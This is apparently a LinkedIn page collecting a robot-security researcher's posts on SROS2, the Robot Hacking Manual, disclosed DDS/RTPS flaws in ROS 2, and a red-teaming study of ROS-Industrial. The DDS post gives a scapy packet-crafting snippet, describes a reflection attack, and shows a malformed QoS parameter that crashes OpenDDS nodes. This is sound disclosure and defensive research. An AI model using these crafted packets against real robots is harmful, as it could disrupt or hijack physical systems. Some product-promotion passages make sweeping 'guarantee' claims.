Víctor Mayoral Vilches on LinkedIn: SROS2: Usable Cyber Security Tools for ROS 2

We argue that without usability, security in robotics will be greatly impaired and present tools to secure ROS robots in a usable manner: SROS2. Cyber...

377 PostsLinkedIn

First published in ROS Discourse. Read our paper for more: SROS2, Usable Cyber Security tools for ROS 2.

Cyber security is a two-way street where both vendors and researchers must act responsibly and over the last few years we learned that doing security research and cooperating with authorities for responsible disclosure is as important as taking appropriate measures and mitigations in a timely manner. But for that to happen, [u]security needs to be usable in robotics[/u]. Specially from a user (roboticists' standpoint).

Based on past implementations, and from the experiences of both crafting security tools and using them with customer engagements over a few years now, together with @ruffsl, @gianlucacaiazza and @marguedas, I'm happy to share about our latest piece that focuses precisely on the usability problem described above by contributing with extensions to tools and writing formally about a methodology to secure ROS 2 computational graphs: (paper) SROS2, Usable Cyber Security tools for ROS 2.

Shortly, our article introduces SROS2 as a series of developer tools, meant to be usable and that facilitate adding security capabilities to ROS 2 computational graphs. We present a security methodology consisting of six steps (heavily inspired by prior DevSecOps work) that allow securing ROS 2 graphs iteratively (and continuously), with the aid of SROS2. Driven by an application use case, we discuss how SROS2 allows achieving security in complex graphs involving popular ROS 2 packages and analyze the security trade-offs and limitations of our current tooling. The key contributions of our work are:

• Introduce SROS2, a set of usable tools for adding security to ROS 2 that: (1) help introspect the computational graph by extracting communication middleware-level information; (2) simplify the security operations creating Identity and Permissions Certificate Authorities (CA) that govern the security policies of a ROS 2 graph; (3) help organize all security artifacts in a consistent manner and within a directory tree that is generated within the current ROS 2 workspace overlay; (4) help create a new identity for each enclave, generating a keypair and signing its x.509 certificate using the appropriate CA; (5) create governance files to encrypt all DDS traffic by default; (6) support specifying enclave permissions in familiar ROS 2 terms which are then automatically converted into low-level DDS permissions; (7) support automatic discovery of required permissions from a running ROS 2 system; and (8) dissect communication middleware interactions, to extract key information for the security monitoring of the system.
• Propose a methodology for securing ROS 2 computational graphs that provides roboticists with a structured process to continuously assess their security.
• Expose insights into how to apply SROS2 to real ROS 2 computational graphs by presenting an application case study focused on analyzing the Navigation2 and SLAM Toolbox stacks in a TurtleBot3 robot.

Besides these, we also acknowledge that SROS2 has various limitations that deserve further attention and improvements (which are fantastic entry points for new contributors!). Some of these include the lack of granularity of security configurations in the current abstractions, which makes it difficult to configure encryption and authentication options separately. Others refer to the lifecycle management of security artifacts, including updating certificates and keys, wherein secure deployment plays a key role. Forward looking, we are particularly keen on improving SROS2 mechanisms in the future to ensure secure lifecycles while minimizing the downtime impact in ROS 2 graphs.

Future work

Some additional promising directions for future work (which hopefully we'll tackle as part of the Security WG) include the development of more advanced monitoring and introspection capabilities, the extension of SROS2 to other communication middlewares (beyond DDS) and finally, the continuous improvement of the usability of the tools. For this, we believe that the use of Graphical User Interfaces (GUIs) represents an interesting opportunity to further facilitate SROS2 usability to non-roboticists.

By releasing this, we're hoping to trigger up the interest of the community in security and inspire groups in robotics to pay more attention to the security to their robotic computational graphs. More exciting work along these lines is in the pipeline, and Alias Robotics has been publishing part of its robot cybersecurity research for a while now, so reach out if you wish to cooperate or just join us in the ROS 2 Security Working Group!

GitHub - vmayoral/robot_hacking_manual: Robot Hacking Manual (RHM). From robotics to cybersecurity. Papers, notes and writeups from a journey into robot cybersecurity.

Robot Hacking Manual (RHM). From robotics to cybersecurity. Papers, notes and writeups from a journey into robot cybersecurity. - GitHub - vmayoral/robot_hacking_manual: Robot Hacking Manual (RHM)....

vmayoralGitHub

The Robot Hacking Manual (RHM) v0.4 is out. Briefly, the Robot Hacking Manual is an introductory series about cybersecurity for robots, with an attempt to provide comprehensive case studies and step-by-step tutorials with the intent to raise awareness in the field and highlight the importance of taking a security-first approach. Content is provided "as is" and by no means I encourage or promote the unauthorized tampering of robotic systems or related technologies.

Learn about robot cybersecurity through a collection of papers, notes and writeups.

This new release includes:

• A curated list of relevant talks and videos on robot cybersecurity
• A new study case looking at #ROS (1)
• Improvements and fixes

To contribute to this work, check out https://github.com/vmayoral/robot_hacking_manual. For an online version of the content, see rhm.cybersecurityrobotics.net/. Download RHM in PDF here and/or check previous versions:

• RHM v0.4
• RHM v0.3

During the last few months I've been involved with a cybersecurity research group where we've been studying the security of ROS 2 through its underlying communication middleware: DDS (Data Distribution Service). The results have been responsibly disclosed to affected parties over the past few months. We also followed a coordinated disclosure approach in cooperation with authorities, which was made public first in this security advisory, and later in our public talks. After bringing this to the attention of the ROS community to raise awareness, I'm also sharing a few bits in here:

TL;DR: Our target this time was studying the underlying default communication middleware of ROS 2: OMG's Data Distribution Service (DDS) and its most popular implementations. We found all DDS implementations vulnerable to various attacks and demonstrated how ROS 2 systems can be compromised easily due to the insecurities detected at this layer.

Our results are summarized in the table below.

A more detailed explanation for some of the flaws is provided below.

Dissecting ROS 2 network interactions through RTPS

To research ROS 2 communication middleware, we created a network dissector of DDS (more specifically, a Real-Time Publish Subscribe (RTPS) protocol) to tinker with the ROS 2 communications. Refer to the official Pull Request we sent to scapy for our latest prototype.

The package dissector allows to both dissect and craft, which will be helpful while checking the resilience of ROS 2 communications. E.g., the following Python piece shows how to craft a simple empty RTPS package that will interoperate with ROS 2 Nodes:

rtps_package = RTPS(
    protocolVersion=ProtocolVersionPacket(major=2, minor=4),
    vendorId=VendorIdPacket(vendor_id=b"\x01\x03"),
    guidPrefix=GUIDPrefixPacket(
        hostId=16974402, appId=2886795266, instanceId=1172693757
    ),
    magic=b"RTPS",
)

ROS 2 reconnaissance

ROS 2 uses DDS as the default communication middleware. To locate ROS 2 computational Nodes, one can rely on DDS discovery mechanisms. Here's the body of an arbitrary discovery response obtained from one of the most popular DDS implementations: CycloneDDS.

0000  52 54 50 53 02 01 01 10 01 10 5C 8E 2C D4 58 47  RTPS......\.,.XG
0010  FA 5A 30 D3 09 01 08 00 6E 91 76 61 09 C4 5C E5  .Z0.....n.va..\.
0020  15 05 F8 00 00 00 10 00 00 00 00 00 00 01 00 C2  ................
0030  00 00 00 00 01 00 00 00 00 03 00 00 2C 00 1C 00  ............,...
0040  17 00 00 00 44 44 53 50 65 72 66 3A 30 3A 35 38  ....DDSPerf:0:58
0050  3A 74 65 73 74 2E 6C 6F 63 61 6C 00 15 00 04 00  :test.local.....
0060  02 01 00 00 16 00 04 00 01 10 00 00 02 00 08 00  ................
0070  00 00 00 00 38 89 41 00 50 00 10 00 01 10 5C 8E  ....8.A.P.....\.
0080  2C D4 58 47 FA 5A 30 D3 00 00 01 C1 58 00 04 00  ,.XG.Z0.....X...
0090  00 00 00 00 0F 00 04 00 00 00 00 00 31 00 18 00  ............1...
00a0  01 00 00 00 6A 7A 00 00 00 00 00 00 00 00 00 00  ....jz..........
00b0  00 00 00 00 C0 A8 01 55 32 00 18 00 01 00 00 00  .......U2.......
00c0  6A 7A 00 00 00 00 00 00 00 00 00 00 00 00 00 00  jz..............
00d0  C0 A8 01 55 07 80 38 00 00 00 00 00 2C 00 00 00  ...U..8.....,...
00e0  00 00 00 00 00 00 00 00 00 00 00 00 1D 00 00 00  ................
00f0  74 65 73 74 2E 6C 6F 63 61 6C 2F 30 2E 39 2E 30  test.local/0.9.0
0100  2F 4C 69 6E 75 78 2F 4C 69 6E 75 78 00 00 00 00  /Linux/Linux....
0110  19 80 04 00 00 80 06 00 01 00 00 00              ............

Using the RTPS dissector, we can craft discovery requests and send them to targeted machines, processing the response and determining if any DDS participant is active within that machine and DOMAIN_ID.

Here's one of such packages:

Though DDS implementations comply with OMG's DDS's specification, discovery responses vary among implementations. The following recording shows how while the crafted package allows to determine the presence of ROS 2 Nodes running (Galactic-default) CycloneDDS implementation, when changed to Fast-DDS (another DDS implementation, previously called FastRTPS and the default one in Foxy), no responses to the discovery message are received.

Network discovery responses are different. It's still possible to perform reconnaissance in Fast-DDS systems, but one must engineer the network interactions accordingly. We must note this doesn't mean Fast-DDS is more secure. In fact, we encountered serious security flaws and pitfalls within Fast-DDS that we did not find elsewhere.

ROS 2 reflection attack

Each RTPS package RTPSSubMessage_DATA submessage can have multiple parameters. One of such parameters is PID_METATRAFFIC_MULTICAST_LOCATOR. Defined on OMG's RTPS spec, it allows to hint which address should be used for multicast interactions. Unfortunately, there's no whitelisting of which IPs are to be included in here and all implementations allow for arbitrary IPs in this field. By modifying this value through a package, an attacker could hint a ROS 2 Node (through its underlying DDS implementation) to use a new multicast IP address (e.g. a malicious server that generates continuous traffic and responses to overload the stack and generate unwanted traffic) which can be used to trigger reflection (or amplification) attacks.

An example of such package crafted with our dissector is available here.

Fully avoiding this flaw requires a DDS implementation to break with the standard specification (which is not acceptable by various vendors because they profit from the interoperability complying with the standard provides). Partial mitigations have appeared which implement exponential decay strategies for traffic amplification, making its exploitation more challenging.

This security issue affected all DDS implementations and as a result, all ROS 2 Nodes that build on top of DDS.

ROS 2 Node crashing

Fuzz testing often helps find security flaws due to programming errors in the corresponding implementations. The following two were found while doing fuzz testing in a white-boxed manner (with access to the source code):

They both affected OpenDDS. The recording below demonstrates how these flaws lead ROS 2 Nodes to either crash or execute arbitrary code due to DDS not handling properly the length of the PID_BUILTIN_ENDPOINT_QOS parameter within RTPS's RTPSSubMessage_DATA submessage.

The key aspect in here is the parameterLength value:

PID_BUILTIN_ENDPOINT_QOS(
                  parameterId=119,
                  parameterLength=0,
                  parameterData=b"\x00\x00\x00\x00",
              ),

Next steps

• Secure DDS extensions: We plan to continue researching DDS and will likely target in the near future the Secure DDS specification. Early results hint that similarly, security might be overly advertised at this point, since various issues are to be addressed and a continued "pentesting attitude" should land among DDS vendors.
• Improving the OMG standard: We are trying to hold discussions with key OMG stakeholders for what concerns RTPS and DDS so that flaws in the specifications are mitigated. By doing this, we're hoping to promote security culture among robotics components (wherein security goes way beyond data encryption and authentication of interactions).
• Maintain the RTPS dissector for the community: We've raised a ticket in the ROS 2 security WG to push this effort forward and maintain this dissector, creating a tool that all roboticists can use to challenge their communications in the future. Hopefully the Security WG can welcome this contribution this time (as opposed to past contribution attempts which were blocked by the Security WG (past discussion, failed contribution 1, failed contribution 2).
• Extend this work to ROS 1: We have an ongoing prototype of a TCPROS dissector that (as per the current plan) will be submitted upstream for scapy integration. If there's anyone interested on it, feel free to ping me.
• More talks to raise awareness: We'll be disseminating this work in a few upcoming sessions:
  • ROS Industrial Conference 2021, Breaking ROS 2 security assumptions: Targeting the top 6 DDS implementations. Dec 1-2, 2021, Fraunhofer IPA, Virtual
  • ROS 2 Security WG (expected to happen in next meeting)
  • S4x22, A Security Deep Dive Into The DDS Protocol. Jan 27th, 2022, Miami, FL, USA.
    Research paper coming soon.

Credit and acknowledgements

This research is the result of a cooperation among various security researchers. The following individuals took part on it (alphabetical order):

• Chizuru Toyama
• Erik Boasson @eboasson
• Federico Maggi @phretor
• Mars Cheng
• Patrick Kuo
• Ta-Lun Yen @evanslify
• Víctor Mayoral-Vilches @vmayoral

I'd like to give special credit to ADLINK, who has collaborated with us throughout the whole process and their security-first attitude is in our opinion the right path towards ensuring cybersecurity.

GitHub - vmayoral/robot_hacking_manual: Robot Hacking Manual (RHM). From robotics to cybersecurity. Papers, notes and writeups from a journey into robot cybersecurity.

Robot Hacking Manual (RHM). From robotics to cybersecurity. Papers, notes and writeups from a journey into robot cybersecurity. - GitHub - vmayoral/robot_hacking_manual: Robot Hacking Manual (RHM)....

vmayoralGitHub

Introducing the Robot Hacking Manual (RHM). A collection of papers, notes and writeups from a journey into robot cybersecurity.

Cybersecurity in robotics will be crucial in the coming years, specially given the safety concerns that insecure robots raise. The Robot Hacking Manual (RHM) is an introductory series about cybersecurity for robots, with an attempt to provide comprehensive case studies and step-by-step tutorials with the intent to raise awareness in the field and highlight the importance of taking a security-first approach. The material available here is also a personal learning attempt and it's disconnected from any particular organization. Content is provided "as is" and by no means I encourage or promote the unauthorized tampering of robotic systems or related technologies.

If you'd like to follow this work or contribute, check out the associated code repository: https://lnkd.in/dK4VqXHF.For an online version of the content, see https://lnkd.in/d2-cjdnj.

Alias Robotics Research

Open research in robot cyber security. Articles on cyber security for robotics.

Robots are often shipped insecure and in some cases fully unprotected. The rationale behind is threefold: first, defensive security mechanisms for robots are still on their early stages, not covering the complete threat landscape. Second, the inherent complexity of robotic systems makes their protection costly, both technically and economically. Third, vendors do not generally take responsibility in a timely manner, extending the zero-days exposure window (time until mitigation of a zero-day) to several years on average. Worse, several manufacturers keep forwarding the problem to the end-users of these machines or discarding it.

what's the status of cybersecurity in robotics? and, how can we best improve cyber-resillience in robotics?

In this article, the status of the robot cybersecurity is reviewed considering three sources of data: 1) recent literature, 2) questionnaires performed in top robotics forums and 3) recent research results in robot cybersecurity. Building upon a decade of experiences in robotics, this article reviews the current status of cybersecurity in robotics and argues about the current challenges to secure robotic systems. Ultimately, based on the empirical results collected over a period of three years performing security assessments in robots, the present text advocates for a complementary offensive approach methodology to protect robots in a feasible and timely manner.

Using these different sources of information, we draw the following observations:

1. Based on literature, robot cybersecurity is still a new field that deserves further attention, tools and educational material to train new engineers in security practices for robotics.
2. There's a gap between the expectations and the actual investment, which suggests that cybersecurity actions in robotics will grow in the future for the ROS community.
3. The lack of robot-specific security measures (36%) and offensive assessments (26%) can be interpreted as an indicator of the maturity level of the technology when compared to other sectors (e.g. IT or OT) where these practices are common and specialized.
4. Both the PX4 and the ROS communities indicated that the majority is yet to witness a cyber-attack. In the ROS community only one out of ten respondents (9%) had seen it whereas in the PX4 group, approximately one out of four (27%).
5. Data confirm that respectively for both ROS and ROS-I groups mitigations concentrate mostly on the perimeter.
6. In Europe, the majority of the respondents agree that the responsibility in case of damage as a result of a cyber-incident is to be assumed by the supply chain (86% indicated that it'd sit between System Integrators and robot vendors), with only a 14% pushing the responsibility to the end-user.
7. Collaborative robot manufacturers MiR and UR have zero days with an age at least older than one year. These flaws continue growing older due to the inactivity from the manufacturers.
8. Vulnerability data affecting ABB robots shows how according to historical data, vulnerabilities were patches as early as 14 days after its disclosure however the average mitigation time is above four years (1500 days).
9. The ratio of publicly disclosed vulnerabilities versus the ones remaining private is an indicator when evaluating the security readiness of a robot manufacturer. The threat landscape of a given robot is correlated to this ratio in a direct manner.

Complexity difficulties security in robotics. The inherent complexity of robotic systems leads to wide attack surfaces and a variety of potential attack vectors which manufacturers are failing to mitigate in reasonable time periods. As research advances in the field and the first commercial solutions to protect robots appear, to meet the security expectations of most immediate industries, a reverse defensive approach (an offensive one) is recommended. Periodic security assessments in collaboration with security experts will be the most effective security mechanism in the short term.

For a postprint version of the full text, read the complete article. This is a postprint-produced PDF of an article submitted to the International Journal of Cyber Forensics and Advanced Threat Investigations (CFATI). Some rights reserved. The definitive publisher-authenticated version will be available online from https://conceptechint.net/index.php

Robot Teardown - Robot cybersecurity

Dissasembly and teardown of robots.

Robot cybersecurity

Alias Robotics Research

Open research in robot cyber security. Articles on cyber security for robotics.

The content in here is inspired by the robot teardown original article. For more, refer to the scientific paper (to be published) and/or the Black Hat talk.

Robotics is the art of system integration ^[1]. Building a robot requires one to carefully select components that exchange information across networks while meeting timing deadlines. In a way, a robot is a network of networks. One that comprises sensors to read the world, actuators to produce a physical change, and dedicated computational resources to process it all and respond coherently, in time, and according to its application. Roboticists often conceive the robot not as one of its parts, but as the complete system including all of its components, whether they are assembled under the same structure or physically distributed. In the case of a robotic manipulator, these robots are often presented physically distributed and include the robot arm mechanics (which generally include actuators and sensors), the HMI or teach pendant, the controller (the main compute substrate for reasoning), and any additional safety mechanism related to the robot operation. The robotic system is thereby the composition of all these sub-systems and networks.

a robot is a network of networks. One that comprises sensors to read the world, actuators to produce a physical change, and dedicated computational resources to process it all and respond coherently, in time, and according to its application.

Under such system integration complexity, it is not uncommon for one of the robot sub-components to fail over time, often leading to the complete system malfunction. Given the high price point of robots, it is reasonable to consider the need for repairing these machines, often replacing individual faulty components for continued operation, or simply for re-purposing them. The European Commission (EC) showed early interest on this topic in a report by ^[2] evaluating different scoring systems for repairing and upgrading different consumer-oriented products, including robots. More recently, and as part of the Circular Economy Action Plan ^[3], the EC has shown commitment towards establishing a new Right to Repair in the context of reviewing directive 2019/771. Hatta ^[4] summarizes major events in the U.S. with regard the Right to Repair and highlights that it wasn't until 2012 that the Automotive Right to Repair passed in Massachussets, empowering customers with tools to fight planned obsolescence. Hatta summarizes how material obsolescence works:

• Making items difficult to repair (by raising the cost of repair, requiring special tools, etc.)
• Failing to provide information (for instance, manuals are not provided)
• Systematic obsolescence (making parts among models incompatible or making it impossible to fix newer models with parts from the older models)
• Numbering (frequently changing the model numbers to make it psychologically less attractive to use old models)
• Legal approaches (prohibiting access and modification to the internal structure of products by means of copyrights and patents)

Hatta ^[4:1] noticed that, similar to Ford in the 1920s, most robot manufacturers follow several of these practices nowadays and organize dealers (often called distributors) or approved system integrators into private networks, providing repair parts only to certified companies in an attempt to discourage repairs and evade competition.

Amongst the most recent examples we observe an interesting development from Teradyne, where two of its owned robotics companies (Universal Robots and Mobile Industrial Robots), follow these practices. The case of Teradyne is of special interest because its robots are advertised as collaborative, that is: designed to augment human capabilities by closely (physically) cooperating without causing any harm. Past research however hints that the lack of security measures in these robots leads to safety hazards, as concluded by Alzola et al. ^[5].

Amongst the most recent examples we observe an interesting development from Teradyne, where two of its owned robotics companies (Universal Robots and Mobile Industrial Robots), follow these obsolescence practices.

Cybersecurity in robotics is still on its early stages. Therefore, as in many other fields, it remains addressed mostly in disconnected silos. With most efforts concentrated in IT, hardware security in robotics has received very limited attention. Building secure robots, however, demands consideration throughout domains (hardware, firmware, OS, application, network, cloud, etc.)

Robot teardown

A teardown is the process of taking apart a product to understand how it is made and works. More formally, it is the approach to modeling the functional behavior and physical components of a product. Robot teardown is thereby the process to study robot hardware architectures through systematic disassembly to understand how the robot works and what physical sub-systems compose it.

Robot teardown is the process to study robot hardware architectures through systematic disassembly to understand how the robot works and what physical sub-systems compose it.

The motivation behind teardowns is three-fold: a) dissection and analysis to evaluate the status of a product, b) competitive benchmarking against similar products, and c) gain engineering experience and knowledge.

Read more about robot teardown at https://aliasrobotics.com/robot-teardown.php.

As robots start populating our lives, safety and security are topics gaining more and more traction. Safety cares about the robot not harming the environment (or humans) whereas security deals with the opposite, aims to ensure the environment does not conflict with the robot's programmed behavior. There's an intrinsic connection between safety and security. Functional safety standards reflect this aspect.

Robots have their own networks, technologies, safety requirements and business priorities, all of which must be uniquely addressed. Simply put, you can't secure robots the same way you secure other IT or OT environments. Existing industrial solutions for monitoring networking traffic and detecting threats do not include robots and are generally left beyond the area of protection, assumed as air gapped. From a technical angle robots demand for their own specialized cybersecurity measures and safety requirements for robots should consider this. Moreover:

given the safety implications, cybersecurity in robotics will be more important than in any other area.

This article discusses briefly the connection between safety and security in robotics, while reasons about how security must be implemented at the robot endpoint to fullfil safety requirements.

Safety standards "require" security

IEC 61508 “Functional Safety of Electrical/Electronic/Programmable Electronic Safety-related Systems” is a meta-standard for safety and from where most functional safety norms grow. This is the case for ISO 26262 (automotive), IEC 61511 (industrial processes), IEC 61513 (nuclear) or EN 50126/8/9 (railways), among others.

IEC 61508 indicates the following in section 7.4.2.3:

"If the hazard analysis identifies that malevolent or unauthorised action, constituting a security threat, as being reasonably foreseeable, then a security threats analysis should be carried out."

Moreover, section 7.5.2.2 from IEC 61508 also states:

"If security threats have been identified, then a vulnerability analysis should be undertaken in order to specify security requirements."

which translates to security requirements. Note these requirements are complementary to other security requirements specified in other standards like IEC 62443, and specific to the robotic setup in order to comply with the safety requirements of IEC 61508. In other words, safety requirements spawn from security flaws, which are specific to the robot and influenced by security research. Periodic security assessments should be performed and as new vulnerabilities are identified, they should be translated into new security requirements.

Periodic security assessments should be performed and as new vulnerabilities are identified, they should be translated into new security requirements.

More importantly, the fulfillment of these security requirements to maintain the robot protected (and thereby safe) will demand pushing the measures to the robot endpoint. Network-based monitoring solutions ^[1] will simply not be enough to prevent safety hazards from happening. Safety standards demand thereby for a security mechanism that protects the robot endpoints and fulfill all the security requirements, a Robot Endpoint Protection Platform (REPP).

Cybersecurity measures at the endpoint

At Alias Robotics we've been researching the landscape of robot cybersecurity for a few years already while working with some of the top manufacturers of robot parts. Altogether, we have discovered, identified and catalogued more than 1000 robot vulnerabilities throughout various offensive exercises. Our products build on top of this reseach and aim to help guarantee the security of robots by directly embedding security measures at the robot endpoint. We develop software and hardware that adapts to the robot and fits directly inside, without compromising its behavior and adding additional layers of cybersecurity protection.

Our Robot Immune System (RIS) secures robots and robot components by delivering an integrated suite of endpoint protection technologies. It complements existing industrial network monitoring solutions by implementing security measures directly into the robot.

More importantly, we remain active as security researchers and through periodic security assessments, we guarantee that new vulnerabilities are identified, turned into security requirements and mitigated in a timely manner into RIS, contributing to guarantee the safety of RIS' supported robot platforms.

we guarantee that new vulnerabilities are identified, turned into security requirements and mitigated in a timely manner into RIS, contributing to guarantee the safety of RIS' supported robot platforms.

RIS is currently available for several robots such as those from Universal Robots (UR) or Mobile Industrial Robots (MiR). It can also secure robot components including several of the distros of ROS or ROS 2. Most exciting fact is that RIS is fulfilling all the requirements of IEC 62443 cybersecurity standard rapidly!

We are in the process of turning RIS into a security certified product for robots so stay tuned if you're intested in a security upgrade for your robots ;).

ROS is rapidly becoming a standard in robotics, including its growing use in industry. The commonly held assumption that robots are to be deployed in closed and isolated networks does not hold any further and while developments in ROS 2 show promise, the slow adoption cycles in industry will push widespread ROS 2 industrial adoption years from now. ROS will prevail in the meantime so we wonder, can ROS be used securely for industrial use cases even though its origins didn't consider it?

This essay summarizes the work my team and I conducted over the last period tackling this question. For more, refer to the following resources:

• Red teaming ROS-Industrial case study
• Red teaming ROS-Industrial extended report (white paper) (56 pages)

Is it secure to use ROS in industry?

The Robot Operating System (ROS) is the de facto framework for robot application development. According to the ROS community metrics that are sampled every year on July, more than 20 million total downloads of ROS packages happened in July 2019. A shocking number given the small size of the robotics community. At the time of writing, the original ROS article has been cited more than 7000 times, which shows its wide acceptance for research and academic purposes. ROS was born in this environment: its primary goal was to provide the software tools that users would need to undertake novel research and development. First with the PR2 robot while being developed at Willow Garage, and then for the overall robotics community with the creation of the Open Source Robotics Foundation in 2012.

ROS' popularity has continued to grow in industry supported by projects like ROS-Industrial (ROS-I for short)^[1], an open-source initiative that extends the advanced capabilities of ROS software to industrial relevant hardware and applications. Spearheaded by the ROS-Industrial consortium, its deployment in industry is now a reality. The consortium has more than 80 members and its gatherings in Europe, USA and Asia bring together hundreds of robotics experts every year.

With dozens of publicly available speeches on how ROS is being used for automation tasks, open source tools available and system integrators picking ROS for real problems under safety constraints, we argue that it is nowadays a relevant piece of software used for industry. Unfortunately, as it's often common in industry, security is not a priority.

ROS was not designed with security in mind, but as it started being adopted and deployed into products or used in government programs, more attention was placed on it. Some of the early work on securing ROS include ^[2], ^[3] or ^[4], all of them appearing in the second half of 2016. At the time of writing, none of these efforts remain actively maintained and the community focus on security efforts has switched to ROS 2, the next generation of ROS. ROS 2 builds on top of DDS and shows promise. However, to the best of our knowledge, there're still no known robots running ROS 2 in production at scale. From our experience analyzing robots used in industry, their operating systems, libraries and dependencies, we argue that ROS 2 is still years from being widely deployed for major automation tasks. Until then, ROS will prevail.

Research question

With the advent of ROS in industry and professional use, one question remains:

Even though ROS was not designed with security in mind, can companies use it securely for industrial use cases?

The work introduced in here tackles this question experimentally by performing a targeted security exercise, namely red teaming, to determine whether ROS and more specifically, ROS and ROS-Industrial packages could be used securely in an industrial setup. We construct a synthetic industrial scenario and choose one of the most common industrial robots with ROS-I support to build it. We then apply available security measures to the setup following official recommendations and program a simple flow of operation.

Using this setup, we perform a red teaming exercise with the following two goals:

• Goal $G_1$: Control, deny access or disrupt the ROS computational graph.
• Goal $G_2$: Control, deny access or disrupt the operation of robots (ROS-powered or not)^[5].

To achieve these goals, we create four different attacks that target the ROS-Industrial and ROS packages. The results show that ROS Melodic Morenia presents several unpatched security flaws, even when hardened with community recommendations. For details on the attacks, refer to ^[6].

Red teaming

Red teaming is a full-scope, holistic and targeted (with specific goals) attack simulation designed to measure how well a system can withstand an attack. Opposed to Penetration Testing (pentesting or PT), a red teaming activity does not seek to find as many vulnerabilities as possible to risk-assess them, but has a specific goal. Red teaming looks for vulnerabilities that will maximize damage and meet the selected goals. Its ultimate objective is to test an organization/system detection and response capabilities in production and with respect a given set of objectives. Past works in robot cybersecurity criticize the current status of cybersecurity in robotics and reckon the need of further research. Previous attempts to review the security of robots via offensive exercises or tools mostly focus on proof-of-concept attacks and basic penetration testing, detecting flaws in ROS. A recent study ^[7] mentions the identification of several flaws within ROS-Industrial codebase, however it does not explicitly describe ROS-specific flaws. Considerations are made with regard the open and insecure architecture predominant in ROS-Industrial deployments throughout its open source drivers. From interactions with the authors of ^[7:1], it was confirmed that the reported security issues were made generic on purpose, further highlighting the need for further investment on understanding the security landscape of ROS-Industrial setups.

To the best of our knowledge, no prior public work has performed a red teaming activity on ROS-Industrial packages (or in any other robotics technology for that matter), and challenged its security extensions. The work introduced in here presents a study in which we aim to do so in a realistic industrial scenario.

Discussion

Findings

$G_1$ is achieved in all the presented attacks whereas $G_2$ is mostly achieved yet depends on the hardening of the corresponding control stations and robotic endpoints.
At the time of writing, among the vulnerabilities we exploited most remain active. An exception is RVD#2401 which got resolved by Open Robotics within 30 hours from the moment we submitted a mitigation.

Lessons learned

Through our experiments we showed how control stations running Ubuntu 18.04 do not protect ROS or ROS-Industrial deployments. Moreover, the guidelines offered by Canonical ^[8] for securing ROS are of little use against targeted attacks, as demonstrated. Certain ongoing hardening efforts for ROS Melodic ^[9] helped mitigate some issues but regardless, most goals were still achieved with attacks targeting threats like zero days, wide and availability of industrial components, inadequate security practices or non-patched OS and firmware.

control stations running Ubuntu 18.04 do not protect ROS or ROS-Industrial deployments. Moreover, the guidelines offered by Canonical ^[8:1] for securing ROS are of little use against targeted attacks, as demonstrated.

Dedicated robotic security protection systems like the Robot Immune System (RIS) used in $\hat{C_2}$, $\hat{C_5}$ or $\hat{C_6}$ managed to secure the corresponding robot avoiding directed attacks however $R_2$ and $R_5$ robots were stillhijacked by compromising the ROS computational graph via their control stations. RIS was not able to stop these attacks because they came from trusted sources whose behavior was learned over a prior training phase. An exception was $R_6$ which we were not able to compromise thanks to the Robot Immune System (RIS) being installed at $\hat{C_6}$ whereas $R_3$ (not protected) was easily compromised and used as a rogue endpoint for attackers to pivot into other malicious endeavors. From this, we conclude that industrial scenarios like the one presented in this use case using ROS must not only follow ICS guidelines but also harden robot endpoints and the ROS computational graph.

Due to constraints on resources and time, the following items remain open and might be tackled in future work:

• We showed how Ubuntu Bionic 18.04 was not a valid starting point for secure ROS (Melodic Morenia) industrial deployments. In the future we will look into other Linux file systems and Operating Systems as a starting point. Particularly and given Windows' popularity in industry and its recent activity and support of ROS for development, we recommend its security evaluation in future research efforts.

• The security mechanisms in the Robot Immune System (RIS) do not currently allow it to detect threats on its interconnecting components (other devices) and seems a difficult endeavour since it would require RIS (at the endpoint) to constantly monitor and exchange communications with other segments of the industrial network (which will further compromise some of the segmentation and segregation assumptions). Instead, we believe future work should focus on a) reviewing the interoperability services offered by RIS in the robotic endpoint while ensures Zero Trust principles are applied and b) guarantee ROS computational graphs can be hardened regardless of their packages.

• We only applied a subset of ISA/IEC 62443 and was included into the use case scenario via the hardening step. Future work should extend our setup and complement it with additional security measures following this norm. Though we strongly believe this is of valuable research interest, our interactions with industrial operators indicate that the level of compliance with ICS standards is still on its early phases. Correspondingly, we reckon that the use case assumed while synthetic, captures an already high degree of security measures when compared to real scenarios.

• While we failed to find exploitable security flaws within the triaged ROS-Industrial drivers, further work needs to be put into mitigating existing ones archived in RVD. Moreover, we encourage for a periodic review of the drivers using both static and dynamic testing.

• We consider it would be extremely interesting to analyze the dynamics of having heterogeneous robots, from different vendor in a security case study. Future work might consider to extend the scenario we assumed with robots from mixed vendors, mixing ROS packages and incurring into a much more complex software engineering security scenario.

Conclusions

We presented four targeted attacks over a synthetic industrial scenario constructed by following international ICS cybersecurity standards where the control logic is operated by ROS and ROS-Industrial packages. Our attacks exploited both new and known vulnerabilities of ROS achieving the two goals we set. We managed to execute code remotely ($A_1$) in a ROS end-point, disrupt the ROS computational graph ($A_2$), impersonate a ROS control station through PitM ($A_3$) and finally use an unprotected robot endpoint to pivot into the ROS network ($A_4$).

The original research question posed whether ROS could be used securely on industrial use cases. Based on our experimental results, we found: With the current status of ROS, it is hardly possible to guarantee security without additional measures.

With the current status of ROS, considering open resources and their status, it is hardly possible to guarantee security without additional measures.

Acknowledgements

This research has been partially funded by the European Union‘s Horizon 2020 research and innovation programme under grant agreement No 732287 under ROSin project through the FTP RedROS-I ^[10]. Thanks also to the Basque Government, throughout the Business Development Agency of the Basque Country (SPRI). Special thanks to BIC Araba and the Basque Cybersecurity Centre (BCSC) for the support provided. This research was also financially supported by the Spanish Government through CDTI Neotec actions (SNEO-20181238).

The following names presented in no particular order helped, advised or supported bringing up this work: Bernhard Dieber, Stefan Rass, Martin Pinzger, Alejandro Hernández Cordero, Alfonso Glera, Odei Olalde, Lander Usategui San Juan, Gorka Olalde, Xabier Perez-Baskaran, Iñigo Ibiriku, Oxel Urzelai and Nuria García.

Reproduction and results availability

Our setup can be reproduced using the following:

############
# Networks
############
networks:

  # Level 1: Control Networks, connect controllers and control stations
  #  for each controller, we expect a dedicated control-network  w
  - network:
    - name: control-network_c1_s1
    - driver: overlay
    - internal: true
    - encryption: false
    - subnet: 12.0.0.0/24
  - network:
    - name: control-network_c2_s2
    - driver: overlay
    - internal: true
    - encryption: false
    - subnet: 12.0.2.0/24
  - network:
    - name: control-network_c4_s4
    - driver: overlay
    - internal: true
    - encryption: false
    - subnet: 12.0.4.0/24
  - network:
    - name: control-network_c5_s5
    - driver: overlay
    - internal: true
    - encryption: false
    - subnet: 12.0.5.0/24

  # Level 2: Process Network
  - network:
    - name: process-network
    - driver: overlay
    - internal: true
    - encryption: false
